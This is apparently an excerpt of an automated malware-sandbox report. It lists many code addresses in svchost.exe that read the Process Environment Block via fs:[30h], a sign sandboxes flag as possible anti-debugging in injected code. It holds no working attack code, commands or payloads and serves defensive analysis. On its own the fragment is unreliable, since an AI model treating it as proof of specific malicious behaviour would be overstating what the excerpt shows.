Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03640770 mov eax, dword ptr fs:[00000030h]	2_2_03640770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03640770 mov eax, dword ptr fs:[00000030h]	2_2_03640770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03640770 mov eax, dword ptr fs:[00000030h]	2_2_03640770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03640770 mov eax, dword ptr fs:[00000030h]	2_2_03640770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03640770 mov eax, dword ptr fs:[00000030h]	2_2_03640770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03640770 mov eax, dword ptr fs:[00000030h]	2_2_03640770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0366674D mov esi, dword ptr fs:[00000030h]	2_2_0366674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0366674D mov eax, dword ptr fs:[00000030h]	2_2_0366674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0366674D mov eax, dword ptr fs:[00000030h]	2_2_0366674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03630750 mov eax, dword ptr fs:[00000030h]	2_2_03630750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036BE75D mov eax, dword ptr fs:[00000030h]	2_2_036BE75D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03672750 mov eax, dword ptr fs:[00000030h]	2_2_03672750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03672750 mov eax, dword ptr fs:[00000030h]	2_2_03672750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036B4755 mov eax, dword ptr fs:[00000030h]	2_2_036B4755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0366C720 mov eax, dword ptr fs:[00000030h]	2_2_0366C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0366C720 mov eax, dword ptr fs:[00000030h]	2_2_0366C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0366273C mov eax, dword ptr fs:[00000030h]	2_2_0366273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0366273C mov ecx, dword ptr fs:[00000030h]	2_2_0366273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0366273C mov eax, dword ptr fs:[00000030h]	2_2_0366273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036AC730 mov eax, dword ptr fs:[00000030h]	2_2_036AC730
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0366C700 mov eax, dword ptr fs:[00000030h]	2_2_0366C700
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03630710 mov eax, dword ptr fs:[00000030h]	2_2_03630710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03660710 mov eax, dword ptr fs:[00000030h]	2_2_03660710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036527ED mov eax, dword ptr fs:[00000030h]	2_2_036527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036527ED mov eax, dword ptr fs:[00000030h]	2_2_036527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036527ED mov eax, dword ptr fs:[00000030h]	2_2_036527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036BE7E1 mov eax, dword ptr fs:[00000030h]	2_2_036BE7E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036347FB mov eax, dword ptr fs:[00000030h]	2_2_036347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036347FB mov eax, dword ptr fs:[00000030h]	2_2_036347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0363C7C0 mov eax, dword ptr fs:[00000030h]	2_2_0363C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036B07C3 mov eax, dword ptr fs:[00000030h]	2_2_036B07C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036307AF mov eax, dword ptr fs:[00000030h]	2_2_036307AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036E47A0 mov eax, dword ptr fs:[00000030h]	2_2_036E47A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036D678E mov eax, dword ptr fs:[00000030h]	2_2_036D678E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036F866E mov eax, dword ptr fs:[00000030h]	2_2_036F866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036F866E mov eax, dword ptr fs:[00000030h]	2_2_036F866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0366A660 mov eax, dword ptr fs:[00000030h]	2_2_0366A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0366A660 mov eax, dword ptr fs:[00000030h]	2_2_0366A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03662674 mov eax, dword ptr fs:[00000030h]	2_2_03662674
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0364C640 mov eax, dword ptr fs:[00000030h]	2_2_0364C640
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0364E627 mov eax, dword ptr fs:[00000030h]	2_2_0364E627
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03666620 mov eax, dword ptr fs:[00000030h]	2_2_03666620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03668620 mov eax, dword ptr fs:[00000030h]	2_2_03668620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0363262C mov eax, dword ptr fs:[00000030h]	2_2_0363262C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036AE609 mov eax, dword ptr fs:[00000030h]	2_2_036AE609
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0364260B mov eax, dword ptr fs:[00000030h]	2_2_0364260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0364260B mov eax, dword ptr fs:[00000030h]	2_2_0364260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0364260B mov eax, dword ptr fs:[00000030h]	2_2_0364260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0364260B mov eax, dword ptr fs:[00000030h]	2_2_0364260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0364260B mov eax, dword ptr fs:[00000030h]	2_2_0364260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0364260B mov eax, dword ptr fs:[00000030h]	2_2_0364260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0364260B mov eax, dword ptr fs:[00000030h]	2_2_0364260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03672619 mov eax, dword ptr fs:[00000030h]	2_2_03672619
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036AE6F2 mov eax, dword ptr fs:[00000030h]	2_2_036AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036AE6F2 mov eax, dword ptr fs:[00000030h]	2_2_036AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036AE6F2 mov eax, dword ptr fs:[00000030h]	2_2_036AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036AE6F2 mov eax, dword ptr fs:[00000030h]	2_2_036AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036B06F1 mov eax, dword ptr fs:[00000030h]	2_2_036B06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036B06F1 mov eax, dword ptr fs:[00000030h]	2_2_036B06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0366A6C7 mov ebx, dword ptr fs:[00000030h]	2_2_0366A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0366A6C7 mov eax, dword ptr fs:[00000030h]	2_2_0366A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0366C6A6 mov eax, dword ptr fs:[00000030h]	2_2_0366C6A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036666B0 mov eax, dword ptr fs:[00000030h]	2_2_036666B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03634690 mov eax, dword ptr fs:[00000030h]	2_2_03634690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03634690 mov eax, dword ptr fs:[00000030h]	2_2_03634690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0366656A mov eax, dword ptr fs:[00000030h]	2_2_0366656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0366656A mov eax, dword ptr fs:[00000030h]	2_2_0366656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0366656A mov eax, dword ptr fs:[00000030h]	2_2_0366656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03638550 mov eax, dword ptr fs:[00000030h]	2_2_03638550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03638550 mov eax, dword ptr fs:[00000030h]	2_2_03638550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03640535 mov eax, dword ptr fs:[00000030h]	2_2_03640535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03640535 mov eax, dword ptr fs:[00000030h]	2_2_03640535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03640535 mov eax, dword ptr fs:[00000030h]	2_2_03640535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03640535 mov eax, dword ptr fs:[00000030h]	2_2_03640535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03640535 mov eax, dword ptr fs:[00000030h]	2_2_03640535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03640535 mov eax, dword ptr fs:[00000030h]	2_2_03640535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0365E53E mov eax, dword ptr fs:[00000030h]	2_2_0365E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0365E53E mov eax, dword ptr fs:[00000030h]	2_2_0365E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0365E53E mov eax, dword ptr fs:[00000030h]	2_2_0365E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0365E53E mov eax, dword ptr fs:[00000030h]	2_2_0365E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0365E53E mov eax, dword ptr fs:[00000030h]	2_2_0365E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036C6500 mov eax, dword ptr fs:[00000030h]	2_2_036C6500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03704500 mov eax, dword ptr fs:[00000030h]	2_2_03704500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03704500 mov eax, dword ptr fs:[00000030h]	2_2_03704500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03704500 mov eax, dword ptr fs:[00000030h]	2_2_03704500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03704500 mov eax, dword ptr fs:[00000030h]	2_2_03704500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03704500 mov eax, dword ptr fs:[00000030h]	2_2_03704500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03704500 mov eax, dword ptr fs:[00000030h]	2_2_03704500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03704500 mov eax, dword ptr fs:[00000030h]	2_2_03704500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0365E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0365E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0365E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0365E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0365E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0365E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0365E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0365E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0365E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0365E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0365E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0365E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0365E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0365E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0365E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0365E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036325E0 mov eax, dword ptr fs:[00000030h]	2_2_036325E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0366C5ED mov eax, dword ptr fs:[00000030h]	2_2_0366C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0366C5ED mov eax, dword ptr fs:[00000030h]	2_2_0366C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0366E5CF mov eax, dword ptr fs:[00000030h]	2_2_0366E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0366E5CF mov eax, dword ptr fs:[00000030h]	2_2_0366E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036365D0 mov eax, dword ptr fs:[00000030h]	2_2_036365D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0366A5D0 mov eax, dword ptr fs:[00000030h]	2_2_0366A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0366A5D0 mov eax, dword ptr fs:[00000030h]	2_2_0366A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036B05A7 mov eax, dword ptr fs:[00000030h]	2_2_036B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036B05A7 mov eax, dword ptr fs:[00000030h]	2_2_036B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036B05A7 mov eax, dword ptr fs:[00000030h]	2_2_036B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036545B1 mov eax, dword ptr fs:[00000030h]	2_2_036545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036545B1 mov eax, dword ptr fs:[00000030h]	2_2_036545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03632582 mov eax, dword ptr fs:[00000030h]	2_2_03632582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03632582 mov ecx, dword ptr fs:[00000030h]	2_2_03632582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03664588 mov eax, dword ptr fs:[00000030h]	2_2_03664588
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0366E59C mov eax, dword ptr fs:[00000030h]	2_2_0366E59C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036BC460 mov ecx, dword ptr fs:[00000030h]	2_2_036BC460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0365A470 mov eax, dword ptr fs:[00000030h]	2_2_0365A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0365A470 mov eax, dword ptr fs:[00000030h]	2_2_0365A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0365A470 mov eax, dword ptr fs:[00000030h]	2_2_0365A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0366E443 mov eax, dword ptr fs:[00000030h]	2_2_0366E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0366E443 mov eax, dword ptr fs:[00000030h]	2_2_0366E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0366E443 mov eax, dword ptr fs:[00000030h]	2_2_0366E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0366E443 mov eax, dword ptr fs:[00000030h]	2_2_0366E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0366E443 mov eax, dword ptr fs:[00000030h]	2_2_0366E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0366E443 mov eax, dword ptr fs:[00000030h]	2_2_0366E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0366E443 mov eax, dword ptr fs:[00000030h]	2_2_0366E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0366E443 mov eax, dword ptr fs:[00000030h]	2_2_0366E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036EA456 mov eax, dword ptr fs:[00000030h]	2_2_036EA456
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0362645D mov eax, dword ptr fs:[00000030h]	2_2_0362645D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0365245A mov eax, dword ptr fs:[00000030h]	2_2_0365245A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0362E420 mov eax, dword ptr fs:[00000030h]	2_2_0362E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0362E420 mov eax, dword ptr fs:[00000030h]	2_2_0362E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0362E420 mov eax, dword ptr fs:[00000030h]	2_2_0362E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0362C427 mov eax, dword ptr fs:[00000030h]	2_2_0362C427
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036B6420 mov eax, dword ptr fs:[00000030h]	2_2_036B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036B6420 mov eax, dword ptr fs:[00000030h]	2_2_036B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036B6420 mov eax, dword ptr fs:[00000030h]	2_2_036B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036B6420 mov eax, dword ptr fs:[00000030h]	2_2_036B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036B6420 mov eax, dword ptr fs:[00000030h]	2_2_036B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036B6420 mov eax, dword ptr fs:[00000030h]	2_2_036B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036B6420 mov eax, dword ptr fs:[00000030h]	2_2_036B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0366A430 mov eax, dword ptr fs:[00000030h]	2_2_0366A430
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03668402 mov eax, dword ptr fs:[00000030h]	2_2_03668402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03668402 mov eax, dword ptr fs:[00000030h]	2_2_03668402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03668402 mov eax, dword ptr fs:[00000030h]	2_2_03668402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036304E5 mov ecx, dword ptr fs:[00000030h]	2_2_036304E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036364AB mov eax, dword ptr fs:[00000030h]	2_2_036364AB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036644B0 mov ecx, dword ptr fs:[00000030h]	2_2_036644B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036BA4B0 mov eax, dword ptr fs:[00000030h]	2_2_036BA4B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036EA49A mov eax, dword ptr fs:[00000030h]	2_2_036EA49A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0362CB7E mov eax, dword ptr fs:[00000030h]	2_2_0362CB7E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036E4B4B mov eax, dword ptr fs:[00000030h]	2_2_036E4B4B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036E4B4B mov eax, dword ptr fs:[00000030h]	2_2_036E4B4B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03702B57 mov eax, dword ptr fs:[00000030h]	2_2_03702B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03702B57 mov eax, dword ptr fs:[00000030h]	2_2_03702B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03702B57 mov eax, dword ptr fs:[00000030h]	2_2_03702B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03702B57 mov eax, dword ptr fs:[00000030h]	2_2_03702B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036C6B40 mov eax, dword ptr fs:[00000030h]	2_2_036C6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036C6B40 mov eax, dword ptr fs:[00000030h]	2_2_036C6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036FAB40 mov eax, dword ptr fs:[00000030h]	2_2_036FAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036D8B42 mov eax, dword ptr fs:[00000030h]	2_2_036D8B42
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03628B50 mov eax, dword ptr fs:[00000030h]	2_2_03628B50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036DEB50 mov eax, dword ptr fs:[00000030h]	2_2_036DEB50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0365EB20 mov eax, dword ptr fs:[00000030h]	2_2_0365EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0365EB20 mov eax, dword ptr fs:[00000030h]	2_2_0365EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036F8B28 mov eax, dword ptr fs:[00000030h]	2_2_036F8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036F8B28 mov eax, dword ptr fs:[00000030h]	2_2_036F8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03704B00 mov eax, dword ptr fs:[00000030h]	2_2_03704B00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036AEB1D mov eax, dword ptr fs:[00000030h]	2_2_036AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036AEB1D mov eax, dword ptr fs:[00000030h]	2_2_036AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036AEB1D mov eax, dword ptr fs:[00000030h]	2_2_036AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036AEB1D mov eax, dword ptr fs:[00000030h]	2_2_036AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036AEB1D mov eax, dword ptr fs:[00000030h]	2_2_036AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036AEB1D mov eax, dword ptr fs:[00000030h]	2_2_036AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036AEB1D mov eax, dword ptr fs:[00000030h]	2_2_036AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036AEB1D mov eax, dword ptr fs:[00000030h]	2_2_036AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036AEB1D mov eax, dword ptr fs:[00000030h]	2_2_036AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03638BF0 mov eax, dword ptr fs:[00000030h]	2_2_03638BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03638BF0 mov eax, dword ptr fs:[00000030h]	2_2_03638BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03638BF0 mov eax, dword ptr fs:[00000030h]	2_2_03638BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0365EBFC mov eax, dword ptr fs:[00000030h]	2_2_0365EBFC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036BCBF0 mov eax, dword ptr fs:[00000030h]	2_2_036BCBF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03650BCB mov eax, dword ptr fs:[00000030h]	2_2_03650BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03650BCB mov eax, dword ptr fs:[00000030h]	2_2_03650BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03650BCB mov eax, dword ptr fs:[00000030h]	2_2_03650BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03630BCD mov eax, dword ptr fs:[00000030h]	2_2_03630BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03630BCD mov eax, dword ptr fs:[00000030h]	2_2_03630BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03630BCD mov eax, dword ptr fs:[00000030h]	2_2_03630BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036DEBD0 mov eax, dword ptr fs:[00000030h]	2_2_036DEBD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03640BBE mov eax, dword ptr fs:[00000030h]	2_2_03640BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03640BBE mov eax, dword ptr fs:[00000030h]	2_2_03640BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036E4BB0 mov eax, dword ptr fs:[00000030h]	2_2_036E4BB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036E4BB0 mov eax, dword ptr fs:[00000030h]	2_2_036E4BB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0366CA6F mov eax, dword ptr fs:[00000030h]	2_2_0366CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0366CA6F mov eax, dword ptr fs:[00000030h]	2_2_0366CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0366CA6F mov eax, dword ptr fs:[00000030h]	2_2_0366CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036DEA60 mov eax, dword ptr fs:[00000030h]	2_2_036DEA60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036ACA72 mov eax, dword ptr fs:[00000030h]	2_2_036ACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036ACA72 mov eax, dword ptr fs:[00000030h]	2_2_036ACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03636A50 mov eax, dword ptr fs:[00000030h]	2_2_03636A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03636A50 mov eax, dword ptr fs:[00000030h]	2_2_03636A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03636A50 mov eax, dword ptr fs:[00000030h]	2_2_03636A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03636A50 mov eax, dword ptr fs:[00000030h]	2_2_03636A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03636A50 mov eax, dword ptr fs:[00000030h]	2_2_03636A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03636A50 mov eax, dword ptr fs:[00000030h]	2_2_03636A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03636A50 mov eax, dword ptr fs:[00000030h]	2_2_03636A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03640A5B mov eax, dword ptr fs:[00000030h]	2_2_03640A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03640A5B mov eax, dword ptr fs:[00000030h]	2_2_03640A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0366CA24 mov eax, dword ptr fs:[00000030h]	2_2_0366CA24
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0365EA2E mov eax, dword ptr fs:[00000030h]	2_2_0365EA2E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03654A35 mov eax, dword ptr fs:[00000030h]	2_2_03654A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03654A35 mov eax, dword ptr fs:[00000030h]	2_2_03654A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0366CA38 mov eax, dword ptr fs:[00000030h]	2_2_0366CA38
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036BCA11 mov eax, dword ptr fs:[00000030h]	2_2_036BCA11
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0366AAEE mov eax, dword ptr fs:[00000030h]	2_2_0366AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0366AAEE mov eax, dword ptr fs:[00000030h]	2_2_0366AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03686ACC mov eax, dword ptr fs:[00000030h]	2_2_03686ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03686ACC mov eax, dword ptr fs:[00000030h]	2_2_03686ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03686ACC mov eax, dword ptr fs:[00000030h]	2_2_03686ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03630AD0 mov eax, dword ptr fs:[00000030h]	2_2_03630AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03664AD0 mov eax, dword ptr fs:[00000030h]	2_2_03664AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03664AD0 mov eax, dword ptr fs:[00000030h]	2_2_03664AD0
